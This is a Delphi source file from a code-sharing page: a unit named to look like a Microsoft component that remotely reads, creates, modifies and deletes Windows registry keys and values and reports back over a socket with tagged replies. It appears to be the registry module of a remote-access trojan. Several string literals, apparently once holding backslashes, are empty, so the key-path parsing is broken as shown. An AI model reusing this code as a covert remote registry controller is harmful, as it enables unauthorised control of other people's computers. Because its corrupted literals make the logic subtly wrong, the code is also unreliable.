Delphi控件源码

开发平台：
Delphi

Microsoft_URegister.pas：源码内容
							unit Microsoft_URegister;
interface
uses Winsock, windows,Microsoft_Ucmd,Utils;
type
    TRegKeyInfo = record
       NumSubKeys: Integer;
       MaxSubKeyLen: Integer;
       NumValues: Integer;
       MaxValueLen: Integer;
       MaxDataLen: Integer;
       FileTime: TFileTime;
    end;
    TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary);
    TRegDataInfo = record
       RegData: TRegDataType;
       DataSize: Integer;
    end;
procedure ContenidoClave(socket : Tsocket; const Clave, SubClave: String );
procedure BorrarClave(socket : Tsocket;  const Clave, SubClave: String );
procedure BorrarValor(socket : Tsocket;  const Clave, Valor: String);
procedure CrearClave(socket : Tsocket;  const Clave, NuevaClave: String);
procedure ModificarValor(socket : Tsocket;  Clave, Dato: String );
procedure ListadoDeSubClaves( TKEY : HKEY; var cuentas : array of string; var len : Byte );
function Dame_Valor( const Key: HKEY; const clave, valor: String ) : String;
function ReadBinaryData(Key: HKey; const Name: string; var Buffer; BufSize: Integer): Integer;
function GetDataSize(key: HKey; const ValueName: string): Integer;
implementation
var TKEY: HKEY;
RegSocket : Tsocket;
function Dame_Valor( const Key: HKEY; const clave, valor: String ) : String;
var handle : HKEY;
    Tipo_Dato, Len_Dato : Cardinal;
    Buffer : String;
begin
    RegOpenKeyEx( Key,
                  PChar( Clave ),
                  0,
                  KEY_ALL_ACCESS,
                  handle );
    Tipo_Dato := REG_NONE;
    RegQueryValueEx( Handle,
                     PChar( Valor ),
                     nil,
                     @Tipo_Dato,
                     nil,
                     @Len_Dato );
    SetString(Buffer, nil, Len_Dato);
    RegQueryValueEx( Handle,
                     PChar( Valor ),
                     nil,
                     @Tipo_Dato,
                     PByte(PChar(Buffer)),
                     @Len_Dato );
    Result := PChar(Buffer);
    RegCloseKey( handle );
    Result := PChar(Buffer);
end;
////////////////////////////////////////////////////////////////////////////////
function DataTypeToRegData(Value: Integer): TRegDataType;
begin
  if Value = REG_SZ then Result := rdString
  else if Value = REG_EXPAND_SZ then Result := rdExpandString
  else if Value = REG_DWORD then Result := rdInteger
  else if Value = REG_BINARY then Result := rdBinary
  else Result := rdUnknown;
end;
function GetDataInfo(Key: HKey;const ValueName: string; var Value: TRegDataInfo): Boolean;
var
  DataType: Integer;
begin
  FillChar(Value, SizeOf(TRegDataInfo), 0);
  Result := RegQueryValueEx(Key, PChar(ValueName), nil, @DataType, nil,
    @Value.DataSize) = ERROR_SUCCESS;
  Value.RegData := DataTypeToRegData(DataType);
end;
function GetDataSize(key: HKey; const ValueName: string): Integer;
var
  Info: TRegDataInfo;
begin
  if GetDataInfo(key, ValueName, Info) then
    Result := Info.DataSize else
    Result := -1;
end;
function GetData(Key: HKey; const Name: string; Buffer: Pointer;
  BufSize: Integer; var RegData: TRegDataType): Integer;
var
  DataType: Integer;
begin
  DataType := REG_NONE;
  if RegQueryValueEx(KEY, PChar(Name), nil, @DataType, PByte(Buffer),
    @BufSize) <> ERROR_SUCCESS then
    exit;
  Result := BufSize;
  RegData := DataTypeToRegData(DataType);
end;
function ReadBinaryData(Key: HKey; const Name: string; var Buffer; BufSize: Integer): Integer;
var
  RegData: TRegDataType;
  Info: TRegDataInfo;
begin
  if GetDataInfo(Key, Name, Info) then
  begin
    Result := Info.DataSize;
    RegData := Info.RegData;
    if ((RegData = rdBinary) or (RegData = rdUnknown)) and (Result <= BufSize) then
      GetData(Key, Name, @Buffer, Result, RegData)
    else ;
  end else
    Result := 0;
end;
////////////////////////////////////////////////////////////////////////////////
procedure AbrirClave(const Clave, SubClave: String);
var RKEY   : DWORD;
begin
     RKEY := DWORD($80000001);
     if Clave = 'HKEY_CLASSES_ROOT' then
        RKEY := DWORD($80000000);
     if Clave = 'HKEY_CURRENT_USER' then
        RKEY := DWORD($80000001);
     if Clave = 'HKEY_LOCAL_MACHINE' then
        RKEY := DWORD($80000002);
     if Clave = 'HKEY_USERS' then
        RKEY := DWORD($80000003);
     if Clave = 'HKEY_PERFORMANCE_DATA' then
        RKEY := DWORD($80000004);
     if Clave = 'HKEY_CURRENT_CONFIG' then
        RKEY := DWORD($80000005);
     if Clave = 'HKEY_DYN_DATA' then
        RKEY := DWORD($80000006);
     if RegOpenKeyEx (RKEY,
                      PChar( SubClave ),
                      0,
                      KEY_ALL_ACCESS,
                      TKEY) <> ERROR_SUCCESS then
        TKEY := 0;
end;
//Crea o modifica un valor
procedure ModificarValor(socket : Tsocket;  Clave, Dato: String );
var Tipo, Valor, Contenido : string;
    TmpInt, i : Integer;
    Error : Bool;
begin
Error := FALSE;
      i := Pos( '', Clave );
      AbrirClave( Copy( Clave, 1, i - 1 ),
                  Copy( Clave, i + 1, Length( Clave ) ) );
      if TKEY <> 0 then
      begin
           Tipo  := Copy( Dato, 1, 1 );
           Delete( Dato, 1 , 1 );
           Valor := split(Dato,'^',1);
           Contenido := split(Dato,'^',0);
           if Tipo = 'S' then//String
              Error := RegSetValueEx( TKEY, PChar( Valor ),
                                      0, REG_SZ, PChar( Contenido ),
                                      Length( Contenido ) + 1 ) <> ERROR_SUCCESS;
           if Tipo = 'W' then
           begin//DWORD
                 try TmpInt := StrToIntDef( Contenido, 0 );  except end;
                 Error := RegSetValueEx( TKEY,
                                         PChar( Valor ), 0, REG_DWORD,
                                         @TmpInt, SizeOf( TmpInt ) ) <> ERROR_SUCCESS;
           end;
           if Tipo = 'B' then
           begin//Binary
                TmpInt := StrToIntDef( Contenido, 0 );
                Error  := RegSetValueEx( TKEY,
                                         PChar( Valor ), 0,
                                         REG_BINARY, PChar( Contenido ),
                                         Length( Contenido ) ) <> ERROR_SUCCESS;
           end;
           RegCloseKey( TKEY );
      end;
      if Error then
        SendData (socket, '|Error To Create Value(' + Valor + '=' + Contenido + ')' )
      else
      SendData (socket, '|Value Created(' + Valor + '=' + Contenido + ')' )
end;
procedure BorrarValor(socket : Tsocket; const Clave, Valor: String );
var i : Integer;
begin
     i := Pos( '', Clave );
     AbrirClave( Copy( Clave, 1, i - 1 ),
                 Copy( Clave, i + 1, Length( Clave ) ) );
     if TKEY <> 0 then
     begin
        if RegDeleteValue(TKEY, PChar( Valor ) ) = ERROR_SUCCESS then
           SendData (socket, '|Value Deleted(' + clave + valor + ')' )
        else
            SendData (socket, '|Error to Delete(' + clave+ valor + ')' );
        RegCloseKey( TKEY );
     end;
end;
procedure CrearClave(socket : Tsocket;  const Clave, NuevaClave: String );
var Aux : HKEY;
    i : Integer;
begin
     i := Pos( '', Clave );
     AbrirClave( Copy( Clave, 1, i - 1 ),
                 Copy( Clave, i + 1, Length( Clave ) ) );
     if TKEY <> 0 then
     begin
          if RegCreateKey( TKEY, PChar( NuevaClave ), Aux ) = ERROR_SUCCESS then
            SendData (socket,'|Key Created(' + clave + '' + nuevaclave + ')' )
          else
          SendData (socket,'|Error Create Key(' + clave + nuevaclave + ')' );
          RegCloseKey( TKEY );
     end;
end;
procedure BorrarClave(socket : Tsocket;  const Clave, SubClave: String );
var i : Integer;
begin
     i := Pos( '', Clave );
     AbrirClave( Copy( Clave, 1, i - 1 ),
                 Copy( Clave, i + 1, Length( Clave ) ) );
     if TKEY <> 0 then
     begin
        if RegDeleteKey(TKEY, PChar( SubClave ) ) = ERROR_SUCCESS then
        Senddata(socket,pchar('|Key Deleted(' + clave + subclave + ')' ) )
        else
       senddata(socket,pchar('|Error to Delete(' + clave + subclave + ')' ));
        RegCloseKey( TKEY );
     end;
end;
//Toma el contenido de una clave
function GetValue(NValue : string; RetTipo : Byte; RgKey : HKEY) : string;
var  Buffer, TmpBuff: string;
     BuffInt, i     : integer;
     DataType, DataSize : Cardinal;
begin
     try
     if RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, nil, @DataSize) = ERROR_SUCCESS then
     begin
          if ( DataType =  REG_SZ ) or ( DataType = REG_EXPAND_SZ ) then
          begin
               SetString(Buffer, nil, DataSize);
               RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, PByte(PChar(Buffer)), @DataSize);
               Result := '<S>' + PChar(Buffer);
          end;
          if DataType = REG_BINARY then
          begin
               SetString(Buffer, nil, DataSize);
               RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, PByte(PChar(Buffer)), @DataSize );
               for i := 1 to Length(Buffer) do
                   TmpBuff:= TmpBuff + SigFrmToStr(Ord(Buffer[I]), '%02X');
               Result := '<B>' + TmpBuff;
          end;
          if DataType = REG_DWORD then
          begin
               RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, @BuffInt, @DataSize);
               Result := '<D>' + '0x' + UnSigFrmToStr(BuffInt, '%08X');
          end;
          if DataType = REG_NONE then
          begin
                SetString(Buffer, nil, DataSize);
                RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, PByte(PChar(Buffer)), @DataSize);
                Result := '<N>' + PChar(Buffer);
          end;
     end;
     if Length( Result ) > 130 then
        Result := Copy( Result, 1, 130 );
     except end;
end;
//Devuelve un listado de los valores contenidos en la clave
procedure ListadoDeSubClaves( TKEY : HKEY; var cuentas : array of string; var len : Byte );
var info    : TRegKeyInfo;
     i    : integer;
    bSize   : DWORD;
    tBuff   : string;
begin
     if RegQueryInfoKey(TKEY, nil, nil, nil,
                        @info.NumSubKeys,
                        @info.MaxSubKeyLen,
                        nil,
                        @info.NumValues,
                        @info.MaxValueLen,
                        @info.MaxDataLen,
                        nil,
                        @info.FileTime) = ERROR_SUCCESS
     then
     begin
          SetString(tBuff, nil, Info.MaxValueLen + 1);
          //Comienza a buscar el listado de claves o valores o ambos.
          for i := 0 to info.NumSubKeys - 1 do
          begin
               bSize := Info.MaxSubKeyLen + 1;
               RegEnumKeyEx( TKEY,
                             DWORD( i ),
                             PChar( tBuff ),
                             bSize, nil, nil, nil, nil );
               Cuentas[ i ] := PChar( tBuff );
               
          end;
          Len := info.NumSubKeys - 1;
     end;
end;
//Devuelve un listado de los valores contenidos en la clave
procedure ValoresClave( RegTypeRet : Byte;  socket : Tsocket);
var  info : TRegKeyInfo;
     i : integer;
     bSize : DWORD;
     tBuff, tmp: string;
     cant : integer;
     data : string;
     datacount : integer;
     dataValues : string;
       dataValuescount : integer;
begin
     Cant := 0;
     try
     RegQueryInfoKey(TKEY, nil, nil, nil,
                     @info.NumSubKeys,
                     @info.MaxSubKeyLen, nil,
                     @info.NumValues,
                     @info.MaxValueLen,
                     @info.MaxDataLen, nil,
                     @info.FileTime);
     if RegTypeRet = 1 then
     begin
          Cant := info.NumValues;
          SetString(tBuff, nil, Info.MaxValueLen + 1);
     end;
     if RegTypeRet = 0 then
     begin
          Cant := info.NumSubKeys;
          SetString(tBuff, nil, Info.MaxSubKeyLen + 1);
     end;
     //Comienza a buscar el listado de claves o valores o ambos.
     for i := 0 to Cant - 1 do
     begin
          if RegTypeRet = 0 then
          begin
               bSize := Info.MaxSubKeyLen + 1;
               if RegEnumKeyEx(TKEY, DWORD( i ), PChar( tBuff ), bSize, nil, nil, nil, nil) = ERROR_SUCCESS then
                      datacount:=datacount + 1;
                          data:=data +  PChar( tBuff ) + ''  ;
                          if datacount=30 then begin
                            SendData (socket,'<rEgkEy>' + Data  );
                                Data:='';
                           datacount:=0;
                          end;
          end;
          if RegTypeRet = 1 then
          begin
               bSize := Info.MaxValueLen + 1;
               if RegEnumValue(TKEY, DWORD( i ), PChar( tBuff ), bSize, nil, nil, nil, nil) = ERROR_SUCCESS then
               begin
                 dataValues:= dataValues  + PChar( tBuff ) + '^' +   GetValue( tbuff, 1, TKEY) + '^' + '*'  ;
              // SendData (Socket,'<rEgvAlUE>' + PChar( tBuff ) + '^' +   GetValue( tbuff, 1, TKEY) );
               end;
          end;
    end;
    if data<>'' then begin
       SendData (socket,'<rEgkEy>' + Data );
       end;
             if    dataValues   <> '' then begin
       SendData (Socket,'<rEgvAlUE>' + dataValues  );
             end;
    except end;
end;
procedure ContenidoClave( socket: Tsocket; const Clave, SubClave: String );
begin
     AbrirClave( Clave, SubClave );
     if TKEY <> 0 then
     begin
          ValoresClave( 1, socket );
          ValoresClave ( 0,socket );
         
          RegCloseKey( TKEY );
     end;
    // SendData (socket,'<rEgEnd>');
end;
end.

						